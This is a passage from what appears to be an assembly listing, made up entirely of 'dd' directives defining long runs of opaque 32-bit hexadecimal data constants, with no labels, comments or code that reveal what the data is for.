4340B06Eh, 3D806EBh, 0A69A6DD0h, 0FFF5BF69h, 0B8C0C8FFh dd 0BFA6A8B0h, 0CF152010h, 0A9FF8B6Ch, 0F47DD368h, 0A72CEA0Ch dd 5221E4CFh, 7FFFFEBh, 40A89020h, 0CEFDD7A8h, 2CA79423h dd 0C80BA490h, 0A550F203h, 0B5AADDBEh, 39C4161Ah, 345B0504h dd 17ABD74Dh, 60BA5FAh, 5C54034Ch, 0D34DA21Eh, 0FEEDBEB2h dd 0CFA8877Fh, 2109DD7h, 0A805A023h, 0B8120003h, 0C41310CCh dd 85FFBC0Fh, 0F04905A2h, 54AE3211h, 0D3B86A8Dh, 0BE829B05h dd 9296BAD0h, 8F0D5AA2h, 0F4844FCEh, 1AEA5E0Dh, 0A9ECF546h dd 68E1633h, 4B76C462h, 0C514BF41h, 8BF44045h, 37E1C3FAh dd 33F6FD05h, 48DDE819h, 3B74D7F3h, 6A2DBD43h, 521FD2FBh dd 0BFB36FD0h, 51DC0B53h, 0FFFF37BCh, 6CC0A0A5h, 983FBACCh dd 2AF7ABBBh, 0BB9EDBAh, 0D0CBB0Ch, 0B3414BFEh, 0DE00500Ch dd 5256058Fh, 0FF414DB5h, 0ABF40FFh, 0BA0441E3h, 0C7737C17h dd 6F337401h, 4B48A96Ch, 60FFFF1Bh, 23ADC047h, 70C21868h dd 7D75EF10h, 0AD112685h, 57B755Dh, 0D7E8217Dh, 497DE3C1h dd 29104C72h, 9937FFE8h, 0B2444302h, 28281865h, 0ABF5078Eh dd 0D092F137h, 937FD052h, 6E07D233h, 907111FDh, 0C4BE36A9h dd 51728C52h, 0C58F3570h, 0BFFFC966h, 0E617DFD5h, 14FD1495h dd 0AA2BAC65h, 0A8AB1C40h, 0FEC86AFBh, 9E3D5DAAh, 52FFFE82h dd 0CB06AC51h, 6860490Eh, 0FC48FFCFh, 216DCB97h, 8293FF41h dd 5F6B7C69h, 5CF0FF05h, 0FF8B6818h, 0DB2B674Dh, 2FFD09B0h dd 2B2504E9h, 0FFFE7E88h, 735F29FFh, 6F067105h, 0A8B752C3h dd 76182857h, 21A27C7Fh, 5005F0C0h, 829BFF41h, 51457E5Ch dd 0FB69A37Fh, 1BADC22Dh, 5948FF41h, 5ECC081Fh, 224F483Fh dd 0F42FFFC3h, 839558FFh, 0A105F450h, 52AA9267h, 0C5FAF7C1h dd 0F8655521h, 57AA89E7h, 0E2DFFFC1h, 9E78BFFh, 463AFB0Ch dd 554CDF3Ah, 19501337h, 265982D2h, 40F9087Ch, 0FFFEDEE3h dd 0D110A0FFh, 0A01FE8E2h, 556582A5h, 8D2DACC3h, 7B891055h dd 0BD08013Bh, 0F336CCD1h, 8297FFFFh, 5D5E5405h, 31BA0B59h dd 5162CE51h, 0E1E4A2CBh, 0FF5541EEh, 2FFFFFFh, 4A106A7Bh dd 0F8511C0Dh, 0FE58A16Fh, 3FAFAE5Bh, 8DDE2BDFh, 0FD83046Bh dd 137A9378h, 0BF667B9Fh, 0C9F06FC4h, 0C859F58Ch, 0A2A5074Eh dd 0F490342h dd 0FF7841D5h, 0C6FFFFFFh, 0AB501072h, 17D22795h, 46DD2163h dd 43161015h, 5C482F72h, 2FBC178h, 0C6983C15h, 0FF4D6084h dd 0F4FFFFFFh, 0E77FFBDh, 19578089h, 0B1556C5Eh, 8959A093h dd 0AF501D52h, 0B204CF59h, 0B45989Eh, 0FF5D0783h, 0F6FFFFFFh dd 0C58A3AA8h, 18D62F44h, 0D050AA8Eh, 6C90D39Dh, 6B434868h dd 21617070h, 0E2E501B9h, 0FF9BBF2Dh, 87FFFFFFh, 9C86F8Bh dd 2A29A59Ch, 0C1118EE0h, 0A6F1717h, 44EF4859h, 8D9321FDh dd 606A58B7h, 0FFDF117Bh, 96FFE17Fh, 282CAB72h, 0E8720647h dd 3E30F45Fh, 0F849906Bh, 0A30B7840h, 73755CC7h, 0FF42FFD0h dd 9E07EBD2h, 9E4F67C2h, 2D686F18h, 0E6DFF3F4h, 0AD1CCA84h dd 77897FFFh, 424A34Eh, 86AD1428h, 0F4182C3Dh, 0DD0AB6A5h dd 0A3BAB7D7h, 0AE5039FFh, 68E7F103h, 0E29551D8h, 0C3830CC0h dd 0BFFFFFBh, 0EF8DA6FFh, 3B5E9A03h, 3720A6C1h, 50B24B7Ah dd 0A32887C3h, 37B06820h, 5B1096C4h, 0A5FFFFFDh, 0FB15D802h dd 414B7F0Bh, 744CF01Bh, 59D68B15h, 0E29122CBh, 0FC08E9D2h dd 5446FFD6h, 118FE144h, 28F8B85Dh, 2A9F91C5h, 7F5FAABEh dd 5BEDFBh, 3504A19Eh, 0D38B5CFFh, 14E73608h, 0DFC63F3Fh dd 0FFFFF55Ah, 0AEDDBDFFh, 83495AEBh, 4D20FE8h, 482B7406h dd 0C5652004h, 0ADD61C74h, 1F7CFDF3h, 25FFF0EBh, 4928AC6Eh dd 0B24BE2Dh, 0BD483524h, 2CBE0AF3h, 25FFFF04h, 512C2CBEh dd 59C8527Bh, 52011E43h, 0E6113A26h, 6C106D10h, 0BCBA8BFh dd 63FFFA5Fh, 0CDE40B63h, 0F5EAA710h, 6FD70DE5h, 4508A92Ah dd 0FF0453DCh, 75FFFEA5h, 6FBB6C1Bh, 3A4F8BC5h, 604789D4h dd 64CB7517h, 0BEA0E7C5h, 0FF47C7D0h, 64FFDBFFh, 0AF2E119Ch dd 427A8668h, 0A96228E8h, 0E15BFB6h, 1039CA03h, 0A8DC737Dh dd 12BB02D1h, 9156FEADh, 4111AB5Ch, 0CCE370A1h, 0A37FFFFFh dd 2FB7CF5Dh, 0F49E2F7Ch, 640E1F45h, 0A555FF53h, 547219EBh dd 0FF905130h, 368DDBFFh, 38A4D8C1h, 0B2981B00h, 11B8D61Dh dd 0A06957Ah, 66338D0h, 0FFE25DD4h, 90664FFh, 0BD148A34h dd 94013C9h, 221AA781h, 518064E6h, 0FF158F3Bh, 785BFFFFh dd 0F3FF045h, 0F288AE85h, 8655FA9h, 0E0704DEAh, 1194459Eh dd 0FCD379C0h, 2FFFFFE9h, 79074C6Dh, 0FBDA0263h, 0CD7DC46Eh dd 0A317EC24h, 901D1C4Fh, 7A14C991h, 0D88B7FE1h, 34E24CF7h dd 0CE0CCA59h, 1E96D5F4h, 0FF83CA92h, 2A5DFFFh, 46CDBCA0h dd 3466CD9Bh, 7454DE6Ch, 56D81B61h, 1517A429h, 0FFFFFF34h dd 15A37B7Fh, 0A86404DEh, 0D397976h, 0D7E76227h, 9C1F711Bh dd 5B0C7754h, 0C4216DC1h, 0FF74CD59h, 56FFA17Fh, 97A5526Bh dd 0C0BF7822h, 63E7513Ch, 56CB004h, 6D001E0h, 7CBC0308h dd 44FFF06Bh, 33750186h, 0D95D6EA3h, 959ECF0Ch, 0DB19AEh dd 25FFFFA5h, 8EA565Ah, 0EDB30504h, 0E4A13B77h, 315F453Bh dd 6F80317Ah, 28FFFFF1h, 0BB26E575h, 0F92EA895h, 0F5A11DDEh dd 0C908131Dh, 539AE6CCh, 5244A51Eh, 17F85FFFh, 82B25EB3h dd 6BC12073h, 35116629h, 914C3B05h, 0ADFFC06Eh, 3F3BD5BFh dd 801E1B77h, 16120D22h, 0A530895Eh, 2D23621Bh, 0CFFE2DCh dd 8B3DB1DCh, 0F7042819h, 0D9A67E2Dh, 8D1A278Bh, 1C4BFFFEh dd 0FDF8754Fh, 7F056DB2h, 880E8AEEh, 746420Ah, 0FFFFFADBh dd 0EB5BF3FFh, 226EB5ACh, 59902247h, 989D40F1h, 0B3B4EBC1h dd 83B6BA5Fh, 14609FC2h, 0FFFF2557h, 339FDFFFh, 6A283AF1h dd 0F651E12h, 516EC8BBh, 860C7D58h, 4BB13BD5h, 1E839DD5h dd 0FF14CAEBh, 0D056FFFFh, 56B7FD0Ah, 0E544D185h, 8A0F751Bh dd 4008880Ah, 0D64EA42h, 0FF1E88D3h, 0F4FC5BFFh, 0D74F080Eh dd 4D9DB3BEh, 23CEE37h, 2F0A39Dh, 338B5ED4h, 0FF6A5A31h dd 50FFFFFFh, 2D76D688h, 4B580611h, 0B84C8DA1h, 13138790h dd 0CB23D882h, 0B926653h, 13FC1931h, 0FFC34972h, 2FD02FFh dd 0C019C317h, 7C1E6D74h, 0A5AD81Eh, 7E028B6Eh, 0A1DD03C9h dd 0EA5FFF11h, 0A0602BFFh, 8406C976h, 312B3010h, 68885CB3h dd 0EF5E0920h, 14248DA4h, 0B7FA9711h, 0F00CAAFEh, 0E2BA1D45h dd 0E7563225h, 6E0B846Ch, 0FF563ACEh, 71FF12FFh, 0E0171456h dd 0F6B5F350h, 27CB2581h, 775835EEh, 22878134h, 89587636h dd 7A12FFE8h, 48C74405h, 0CFC8E4F3h, 0F8BDC700h, 1870BF6Fh dd 7CFF73Ch, 43102018h, 189320E5h, 813C00ABh, 17EDFFFFh dd 0E2842A28h, 0C3308D12h, 5547DB6Bh, 3F5869E9h, 2851E3EEh dd 0BFEA4448h, 0F4FFA5D4h, 9A562E88h, 0DC6983F0h, 0E740CCFCh dd 0E96EEFAh, 0F4BFFF8Bh, 0EE9770FFh, 0DCF69DEBh, 27285672h dd 8BCC69BCh, 0C9CB1128h, 7ED1E77Fh, 0FFAB0C15h, 47FFFFFFh dd 0DCF1143Bh, 0DD5DA22Eh, 0CC635110h, 1668E1C0h, 36C0D62Ch dd 880D88B0h, 11401A0Ch, 0ADB666B5h, 74F46FFFh, 27F21BCCh dd 79FE22Fh, 0EC658DC7h, 0CA22C03Fh, 0F6FFFF0Ch, 83D8A2FFh dd 0B453A8C4h, 0C5B61C90h, 81FC7A4Ah, 83206903h, 807B20Ch dd 760D100Ch, 0BF9BE932h, 1814C8FDh, 6200E36h, 24078320h dd 300C2C28h, 589D1C34h, 7EDFEDFEh, 3A3C3832h, 0B20D0D40h dd 7444012h, 0C8322F48h, 5854504Ch, 9C5BBB0Ch, 5C82605Fh dd 70336460h, 78742EC9h, 0FFFF77CBh, 81D8B67Ch, 0A0DFD22h dd 92E4B984h, 908C884Bh, 98942E05h, 0C4B9A89Ch, 0A0E0DFC6h dd 7584A8A4h, 5E2C3932h, 0FF9D4F46h, 6CBFFFFFh, 4053B84h dd 936C8482h, 4C11049Eh, 0DD8C9B2Eh, 115035FAh, 5D7E3F56h dd 6022D6C8h, 0FF52DD40h, 851054FFh, 11B2172Ch, 0C85C1458h dd 18CB2176h, 0F64A860h, 0FC5BF05Ch, 6C24965Bh, 85AB3A13h dd 1D8535Fh, 0AD007A85h, 0BBDFFFFEh, 0EAD8970Ah, 3C2968Ah dd 0F1EB97ABh, 32015DAh, 8317FFD7h, 0FFF46F62h, 0A5632CFFh dd 0A3C61A9Eh, 0AAB5EE73h, 0B2F7B451h, 60700C48h, 89B80A51h dd 0FADD4B4Bh, 3228CDFFh, 253A02E3h, 6EEDD0B1h, 6163342Eh dd 0F43B6808h, 1DFF85FFh, 4344B74Bh, 19B841E5h, 0A35B03EAh dd 57F91AD8h, 751A3304h, 0A97FFF5Bh, 0D2D55D6Fh, 93C488Bh dd 102E0D1h, 0B407DAE7h, 183D43C3h, 0FE05FE8Fh, 0EE468BFFh dd 0E75CEB67h, 17DC3480h, 8B66A402h, 7CD3CD6Fh, 0C5C6CE5Fh dd 85FFFC4Bh, 88EB029Bh, 66C08DACh, 0D877DF8Dh, 0B33AB6CDh dd 0D6FFC1F1h, 0D9FF54FFh, 46204BC5h, 386A7452h, 91F89932h dd 0D0CB0468h, 0FFF56EFCh, 81121EBFh, 8B07A453h, 1B051AAEh dd 0BBCB00Ah, 0BFA6CB41h, 1BFF3402h, 6D45A5FFh, 1E5D2B54h dd 9E80D86Eh, 0D05356A8h, 1915B08Bh, 0BFFFF22h, 8DFBEFDh dd 0C811C859h, 0ACC4D13h, 155720CEh, 8A5F4F59h, 0B6887C0Fh dd 0FFC6C5B7h, 1D8BA35Bh, 0D4177484h, 0E75E8345h, 0E3C07281h dd 0FCBFFFFFh, 4B0E912Fh, 85464512h, 62815A00h, 0AF801133h dd 0AC3FD4C3h, 19642FD8h, 0FFD0BF6Dh, 3B4659BFh, 815B7EF7h dd 365395FEh, 190F9060h, 2D38E32Fh, 0FFD6B80Eh, 8C4BFFFh dd 516C44F3h, 4700D40Fh, 3909C31Bh, 0AA4AFA09h, 4C77533h dd 0FF011AA6h, 84114BC2h, 0C81D02D0h, 0E47136B8h, 1B1DCC25h dd 2FFFFFFh, 4E0B56B9h, 0D46F1AFDh, 0CCB97FACh, 680FDF3Bh dd 64E0531Ch, 3321EE83h, 0FFFFFFB7h, 0BC6068FFh, 1B8ADDB6h dd 0D44D5BEBh, 992C11EEh, 0CA230A81h, 466E8F25h, 56FB54B4h dd 0B5D68A23h, 37FFFF32h, 7F655FEh, 46245022h, 0C4165BE4h dd 8B5AEFE0h, 0EB5161A2h dd 6EF4845Dh, 0D0312D10h, 0C2FFFC6Fh, 2C9E0189h, 0F803A050h dd 76C0B499h, 513F281Ch, 0BF2BCC8Dh, 91BE2DF4h, 372A37F1h dd 0BC91B50h, 9903A0C1h, 0DF1CBC6Ch, 15FFFFE2h, 38599F07h dd 97622E4h, 7B77F8E3h, 0EB8C9A18h, 0A37F2A0Dh, 0FF455960h dd 29FFFFA5h, 6069884h, 0D7F0A2DEh, 71FC4AEBh, 0CC8BA83Dh dd 229458DBh, 0BD01D126h, 0FFFFD513h, 1B16ADFFh, 33348F7Ch dd 86CFCE55h, 0A84542EAh, 48BBEB5h, 1C2FC1CAh, 0BF30C1B8h dd 79BFFFC0h, 0F2EDFD20h, 72B5A001h, 49D05FC0h, 8050A0E8h dd 70E0B571h, 0FFA97F0Ch, 56E50AFFh, 4251EF99h, 2B03D05h dd 8BC6832Ah, 0B774AB54h, 7C9E00ACh, 817FFFAAh, 0C70159FFh dd 2172937Eh, 0B7FF8929h, 9C90EAAh, 0F958C8EBh, 1ECE8205h dd 0FFFFFFEAh, 8D1C8DFFh, 8B96F0FCh, 174B1B65h, 0CA314C33h dd 402681E1h, 8825510h, 0E192EE7Ch, 0D95BD9B7h, 0FFFFFFBDh dd 0F9839FFh, 82CAF603h, 18B4481h, 83A16113h, 0AA2C9728h dd 0BB550478h, 6C058385h, 835F4D1Ah, 0F8171B4Dh, 49CCDFFh dd 1E941430h, 93670AACh, 6A442CA8h, 0D69B3F44h, 5FFFFADFh dd 2859D9C5h, 594FAE8h, 0E6B90DDCh, 0A6052446h, 0EF28B539h dd 0FFFFFFFAh, 6DD85883h, 75A0339Ch, 9D2A36Ch, 7F15B138h dd 163E7027h, 0A730E848h, 20B58B2Ah, 17F837Fh, 742AEED9h dd 12E383DEh, 52237FCDh, 0FC576AFDh, 8DFE85FFh, 0C32C653Ch dd 0C9BC488Ah, 0E8D6F8D6h, 0C80F9D0h, 4D8890F4h, 0FFFFFFABh dd 0F843390Bh, 8B45ABB7h, 0D1F7798Dh, 403BC1F6h, 8D6B0ADFh dd 2BBA696Ch, 0FF3C1472h, 0EFFFF0BFh, 7AFE870Fh, 29C26F40h dd 96C67F08h, 85F637D8h, 0D0200355h, 0CB66059h, 0FFFFFFE9h dd 0C46C2DFFh, 0A212C552h, 36848648h, 0B66DBD1Ah, 34FF2050h dd 246BAE03h, 45B30384h, 0CC99C028h, 0BFFFFF56h, 0CF41A8F5h dd 6DEA16C0h, 28358D9Fh, 0BD03B065h, 2B451BA4h, 3D1FB334h dd 0EA820F39h, 12FFFC4Bh, 0FF86C50Dh, 127651Ah, 430EFB73h dd 84AB228Ch, 2FFF8541h, 0CB5A5A55h, 0A3CE583h, 4ACBF660h dd 886825CDh, 0FFFFFF15h, 1A017DFFh, 51146EAEh, 0A1AC79DAh dd 7ED0BFBAh, 6545B761h, 30EB45AFh, 0C62B9CB6h, 666B8503h dd 0FFC6EB73h, 7D62F4FFh, 2DDD995Bh, 2B980B88h, 0A4459C81h dd 77C6EE00h, 0FF978D82h, 0B97FD4BFh, 94A059B7h, 6D75AC1Ch dd 0AC6F99Bh, 4F324566h, 0B36C0049h, 0FE2DFF77h, 18B06BFFh dd 0F62E858Dh, 45B864F4h, 20258374h, 0B9A0458Ah, 0E95EF8B5h dd 25FFFF0Fh, 0D4208CFEh, 9F38497Dh, 0DCC3BD2h, 8C6395Fh dd 0D6D0400Dh, 2E409DEh, 0EDFFC432h, 0E33C40FFh, 1C02B5BEh dd 0EB4AE161h, 8ADF0197h, 284085Ah, 830EB7DEh, 180BFFFFh dd 66A9437Bh, 46C210FAh, 0FB9F8346h, 0B5C36C18h, 2F74A3ACh dd 227A97FCh, 0D9B40339h, 66FBACA7h, 4459EF3Bh, 6F58DE05h dd 606FAB71h, 0C2641E85h, 4443BC3Fh, 4BDBD374h, 8FEDA97h dd 308B68DDh, 79FE5339h, 6C8F1D9Dh, 0BFFF5262h, 801D67F5h dd 0A1D0A3D8h, 0CE4B9CF1h, 861C2DD8h, 5E9139DBh, 0A97FFFFFh dd 0DC6365D0h, 4D20F87Eh, 4D2BC3B0h, 3BB4E99Ch, 0FAB57388h dd 0FF27A5B7h, 41FFF52Fh, 8AB05DB0h, 0FA804112h, 30E02E0Ah dd 0F2C668D6h, 10885A40h, 0E17D8105h, 0A4FFFFFFh, 0FC2BB0F3h dd 60D17236h, 5DF02B33h, 2479E494h, 0CA5A0B34h, 6B6C9401h dd 0FF451578h, 2B7FFFF6h, 0B2B73B92h, 0CC46B175h, 9A029DB0h dd 916B099Dh, 98BB1A17h, 9A585E57h, 0FED82531h, 530283EDh dd 699C414Eh, 0D65EDE1h, 0FF06660Bh, 40FF46EDh, 558B5D40h dd 0DEC1A39Bh, 9DFF1089h, 84C9C7A2h, 0FA27254Ch, 22C0BFFFh dd 5708C9C3h, 0C39CFF77h, 0A496469Dh, 9E15A42Dh, 1F60CA6h dd 0DFFFFFE9h, 2CA45EA9h, 0B725EC6Ch, 0A4CAA0A4h, 0AA3CE03h dd 0DCE6859Fh, 11C60376h, 5EDFF825h, 0C3D7A062h, 52C882A6h dd 68D1CC01h, 0D7E287ABh, 5F802DFFh, 108CA56h, 56D54A06h dd 0AB04AF6Ah, 176D1DA3h, 0A0FFFFFEh, 0D0AAAE19h, 0BD797431h dd 0CB98352Fh, 8D502F3Eh, 2C353584h, 90C4B16Bh, 0FFFFFF42h dd 0B7C1D6FFh, 57351C85h, 0D47F2B94h, 5B2409EBh, 414898E7h dd 0A4DA470Eh, 0B6D992B4h, 36DDA012h, 0BFFFA57Ch, 8CBD51C4h dd 0E094831Bh, 30FF9C8Bh, 930C22E7h, 0FF330C47h, 2CFFEB76h dd 3016C5D0h, 0F0A0144Ah, 0C0462256h, 81013D6Dh, 5E6E6B82h dd 0FFF16F07h, 0CEA28CFFh, 0EBC660FAh, 27BAD52Bh, 0E0434089h dd 9C4EFF00h, 0CF708480h, 897FFF62h, 92687BFFh, 341301Ch dd 0D83698A0h, 9A8DF708h, 24DC0EE4h, 0DE0D1867h, 41BFFF10h dd 0B929688Bh, 2E1BD530h, 46E07642h, 0C9A6B2D4h, 0C4BFDB5Ch dd 48BC19FFh, 16AEBF74h, 0A01EB90Fh, 5A314ACh, 0CB8B5016h dd 2C6FFFA8h, 617FEF4h, 99B2F2E7h, 0CA2A3DFFh, 7477D352h dd 0B79D4C2Ah, 0D4BFFEh, 0BFBF9205h, 0D2043954h, 0C7080C49h dd 11FB1841h, 4BE8DF15h, 75B738FCh, 3BA1040Ch, 0DE08D112h dd 61830947h, 0FF06FF04h, 0C05452FFh, 14F80E1Eh, 0C24C810Eh dd 6A51C221h, 1C80BD08h, 0D095718h, 0FFF8B731h, 9987A2FFh dd 8B0931C8h, 916E50ADh, 144FF0Ch, 0CD421BF7h, 3EA3D5DDh dd 0FFFFFFC3h, 14A0A1FFh, 57ED799Ch, 5E14E251h, 6EB2E21h dd 0B6FC535Dh, 0A38C7D80h, 0AF046A19h, 66E08B9Ah, 5D2FE094h dd 88A3DFFAh, 85882A7Dh, 1B3543BDh, 40B78218h, 5FD6A37Fh dd 0B91B1A00h, 0FF542A57h, 20C8991h, 0ED237DFCh, 0B8FFFFFFh dd 10F94283h, 6AEAE46Eh, 84025EFEh, 0A021D8A1h, 0B68CEE6Bh dd 93859684h, 0FFCCC2FFh, 0ABFFFFD2h, 7C11CDAh, 0EFC6DB7Ah dd 0C0B75B9Bh, 423E315Ah, 5FCE2E3Ch, 7B9BE020h, 0FFFFFFD2h dd 804E75FFh, 3372803Dh, 39707F7Ah, 35FFE74Ch, 0D16E166Bh dd 0DB8E008Bh, 2227266h, 1CA6B711h, 0C5BC0B6Dh, 1A7709FFh dd 6E81FAD8h, 674D0E8Fh, 0F54E81EBh, 0FFFFFF2Ah, 0CA2180C2h dd 1E562024h, 9C405984h, 167D1470h, 80150628h, 0BD12130Ah dd 7FC9AED9h, 81FFFF8Bh, 351E2B48h, 0ECD8BC15h, 2D2E5020h dd 1E3635ECh, 673D1EE1h, 0FF608117h, 3EFC6FFFh, 0A076157Fh dd 44D3BD99h, 2FDF35C0h, 0E23473A0h, 7D4B14F9h, 0B05ECAC4h dd 0DF46F412h, 29962EE2h, 565255F9h, 1ADC050h, 5C2FFF65h dd 0CA21C468h, 50F7FB1h, 98C67964h, 0F3050980h, 0FFD2FFC2h dd 46C09716h, 85F5F358h, 2ADF4518h, 170D76FBh, 9782B65Fh dd 0B3FAB7FEh, 7FB918A6h, 7981AFC2h, 0D139B148h, 53737690h dd 0DFC0A2A2h, 725C16E8h, 55E15294h, 7FACBE0Eh, 0DFC406FFh dd 0A85E03Ah, 4E5A32BAh, 0C42DDB55h, 0FF5C3676h, 0FFFFFFFh dd 76570B62h, 868A92D8h, 0C0AC82Fh, 38C54C21h, 296C1242h dd 35E457BAh, 7928B32Eh, 0FF8C1474h, 6506FFFFh, 676C8153h dd 0B50C9AEFh, 0B506888Bh, 0C0015606h, 1FCE02DCh, 0FFBC30FBh dd 23FFFE97h, 6DF572A3h, 510CA75Eh, 0E2545753h, 4C3EB026h dd 7904A35Dh, 0E8AD6D53h, 0FFFFF138h, 0BAD114FFh, 0C5201D62h dd 0CB48B7A5h, 0EB70BD74h, 83AF54B9h, 197ADB30h, 76BE248h dd 0BFFEDFC1h, 0FFB4151h, 60D26386h, 2C3766EEh, 0B5ABB709h dd 0FF00D13Ch, 0CFFB7FFh, 0C5567056h, 0D1E3620Bh, 10F528E6h dd 0FBF7FC4Bh, 0D82060CEh, 8BF007FCh, 0FF64F7C3h, 17FEA5FFh dd 0A15FEEBAh, 0D13057C8h, 5C0B47EBh, 0FED75429h, 0D12357FFh dd 0FFDBD1E9h, 0D1FFFFFFh dd 0BD8D1EAh, 0F7F475C9h, 0EE252FF3h, 145D2EDEh, 0E6F74421h dd 3B0E722Dh, 72087727h, 0F8DEEB52h, 15E25C6Fh, 4E212B6Eh dd 0F9128E2Bh, 0DD37416Dh, 0B81709DBh, 0F79C97F0h, 54DA30DAh dd 0CA566AADh, 0FFD98B05h, 67FADFFFh, 4274C25Eh, 8857976h dd 0A5115FE1h, 558AF4FFh, 1548414h, 1234E11Dh, 0FFFF026Ah dd 546075FFh, 32FD2397h, 77013014h, 2188AC54h, 4F04A0A3h dd 5A8ECC0Ah, 75BF6205h, 3751FFA9h, 0B1FC8860h, 0CFAA414Ah dd 4B69076h, 0FEE06AEFh, 58FFFFFFh, 431B11FFh, 35231F75h dd 0CBA4192h, 1B4B8A7h, 0FCDF6EDh, 0F1954DAFh, 3A9A689h dd 2FFE0E01h, 3A318094h, 90176221h, 4B0F6977h, 0FF8531F0h dd 0C3840DFFh, 4425050Bh, 3784117Ch, 5195F23h, 0B875E2B8h dd 0E25FFFD9h, 0DBA2BFFh, 11A94768h, 618C571Eh, 75100DABh dd 12BF5661h, 0A7215D01h, 0BFFFFF14h, 6F04CF0h, 7233C163h dd 0BB8D1067h, 0F58A2459h, 0F1B7B3C2h, 6A611086h, 564D69E7h dd 0AFFFFFFh, 3EEB11EFh, 23A5270Dh, 431108EFh, 7C577F20h dd 0A3F41D7Eh, 0EF357870h, 0FFFAA8D6h, 641D6815h, 0F9F37B1Ch dd 5C3D6035h, 702F7D6Fh, 7C0DFF89h, 8E472391h, 2519581Dh dd 0CDE61F50h, 8DA97F2Dh, 805C4CAAh, 0D40774AEh, 517BBE7Eh dd 4F551D5h, 550F78A3h, 0FFFFF884h, 0DAAC51BFh, 1402CCDBh dd 1CA10177h, 0CD06DB29h, 68130DE6h, 1DC07309h, 13EED6Ch dd 0D551BE97h, 0A1323E08h, 8CBDDB54h, 0D8DFFF0Ah, 346BDCF8h dd 32FA8DB8h, 0BA606A56h, 68DF049Fh, 0A40F35Ch, 0FFB7FE44h dd 888593FFh, 209FAFh, 25010178h, 409C858h, 2335E691h dd 0F4C655C5h, 0CC2F3BC9h, 2DFFFFEAh, 5DC88038h, 91C10F70h dd 12327705h, 0B252F648h, 2877FC80h, 297FFF45h, 0CA020320h dd 5224E00Dh, 13DBAFEh, 0A4C8DC9Fh, 755BFFA8h, 487F5055h dd 0FC762E08h, 460043C9h, 0C37FFFD4h, 0A3939810h, 97CB3D28h dd 3A6A8DB7h, 0F6062C93h, 0AB42FE17h, 4289DC9h, 89B33D3Dh dd 6C6821BEh, 0CAFFFFF4h, 3FB37C3Eh, 0C8E08459h, 40B34417h dd 1AF01208h, 6AB73C82h, 0FFD446ECh, 0CF407B16h, 1B0F8B64h dd 0DB7BD51Bh, 0FFD4477Fh, 0B151FA83h, 2BDD8952h, 0DA34D9F1h dd 1FBB51A6h, 0FD446409h, 0F60BA8FFh, 44080BEBh, 0BFF88B0Ch dd 0CB078550h, 0FFFED4BEh, 3401A005h, 0A46E13F6h, 0AA040888h dd 0A10E96A1h, 10566E20h, 8DFE0DFFh, 0A42AB43h, 5170158Fh dd 0D43E73EEh, 0FB345B28h, 0FFD0BD0Ah, 225980FFh, 2143A028h dd 61D08A4Ah, 88A7688Ah, 6C9013D3h, 0FE15D25Fh, 0E146FFFh dd 2768AC8h, 0CDCCABB0h, 2C3CB10Dh, 0C338C4B8h, 0FFFF04B9h dd 3A3AA506h, 23D06CD9h, 4B11C4DDh, 25E06Fh, 0BFC8ACF0h dd 72FFFFF1h, 94A88B0Ah, 2FA1E16Ah, 0C32404D2h, 5985652Dh dd 740FADE9h, 3B5B7C21h, 0FFFF810Dh, 53733BFFh, 89C125Fh dd 0D8AF1746h, 4F475013h, 0E40F6C6h, 0E0DAA35h, 6EFB4506h dd 1D7EB7FFh, 0B796232Bh, 404910BFh, 53137549h, 0A5EBF46Ah dd 0FFFFEBF5h, 0C45785FFh, 0CAA59C5Bh, 60CB7E8h, 653406FFh dd 2D154CD4h, 0A3021618h, 0BACD2849h, 17F897D0h, 8327A1E2h dd 1A7322D8h, 2BDF7ABAh, 37FFC2D2h, 24759648h, 0CA45C0BCh dd 0CD1309E2h, 9B6960B4h, 0FFFFFFFFh, 8180C7BDh, 0F7673C55h dd 54B1B42Ah, 5EE82693h, 0F8A9368Bh, 0F2B5196h, 8185A61Ah dd 56882902h, 83FFFA17h, 4A04BC4Ah, 0D0BD4DA9h, 58A13147h dd 87CF5CAAh, 0FFFFFC2Fh, 38CC187Ah, 3C50290Ch, 671E92D7h dd 0B6CF6587h, 0E56C61B2h, 64913337h, 0FFFFFF04h, 0E5A8328Dh dd 0D50D8EC2h, 74B7E035h, 6F54964Eh, 0B1FBC00h, 0CD0B054Dh dd 0FF380CA1h, 0B8FF4BFFh, 6B67700h, 0EB010D66h, 0EEA046DAh dd 51084617h, 67D1F44Bh, 0D7F5493Bh, 0FFFC6F33h, 75023BFFh dd 89D03BDBh, 0AAD40C4Fh, 0EAF24310h, 0E004A8E9h, 0FA0F5032h dd 0DE9D3DE8h, 0BDFE2DF8h, 885C0D68h, 0A37E8059h, 52F05556h dd 0E2EC8330h, 97FFFFFFh, 0F98E182Ch, 545E6A08h, 6BB302BCh dd 385E5244h, 0E39CF424h, 2D137480h, 0E10E7410h, 68FB7FFFh dd 0B088DA10h, 16426607h, 82743Ah, 0C5161457h, 2220C4ACh dd 0FFCB04F9h, 0ED7FFFFFh, 8260EB6h, 0D0073656h, 0ACCA6A54h dd 0EE42061Ah, 7DC90832h, 0FE251939h, 0B9ACC44Fh, 5E05FF01h dd 39257EE0h, 71207CCAh, 726FA144h, 0C2950F08h, 0BFFFFB8h dd 9E60CFDh, 0D577B9CDh, 2DBBE184h, 0B43D2487h, 323BB1F1h dd 5E382072h, 0FFFFFFF4h, 809B1BFFh, 0E859E591h, 4D654F0Fh dd 80B03161h, 0C6E3BED0h, 5AC7338Ch, 941E70CCh, 5A50C069h dd 0F85FF12Ch, 82B0B1FFh, 3A376D4Bh, 7523618h, 3A6BA9Dh dd 0BB23C862h, 0FFBDBE31h, 622FFFFFh, 0A3252D50h, 8D3FEA45h dd 0FC685FFFh, 3BEE02EAh, 577D753Dh, 3558A5C3h, 835E7F2Ah dd 0A8A5FFFFh, 39F1A066h, 0EB447418h, 5F1183A7h, 874D0FDh dd 0FF488BC5h, 37FFC0Bh, 5DEC46D4h, 7C14FF2Ah, 7C912628h dd 569CCF04h, 65B113Ch, 0FFFFFF32h, 66ACFEFFh, 61CA52Eh dd 0D39EEB47h, 0F192C410h, 84B17DC0h, 0EAF011C3h, 0B1435782h dd 7B452FC2h, 7FF42F80h, 0F3DFE189h, 0A9663F75h, 2A5F3108h dd 8145B6Eh, 85FFFF93h, 6E2B3EFEh, 50572C7Eh, 0BC0118C4h dd 0DDE38C59h, 0B4921D06h, 0C084360Fh, 52B7FF79h, 0EBEA0FFFh dd 0FD76E021h, 0CBABC389h, 80582814h, 6683385Dh, 0FEA5FDE9h dd 0EA306FFh, 47749946h, 8F590975h, 0C1B33E2Ah, 15A68653h dd 0F548808Eh, 2D1BE2DFh, 46D9BF0Ah, 0C661623Ah, 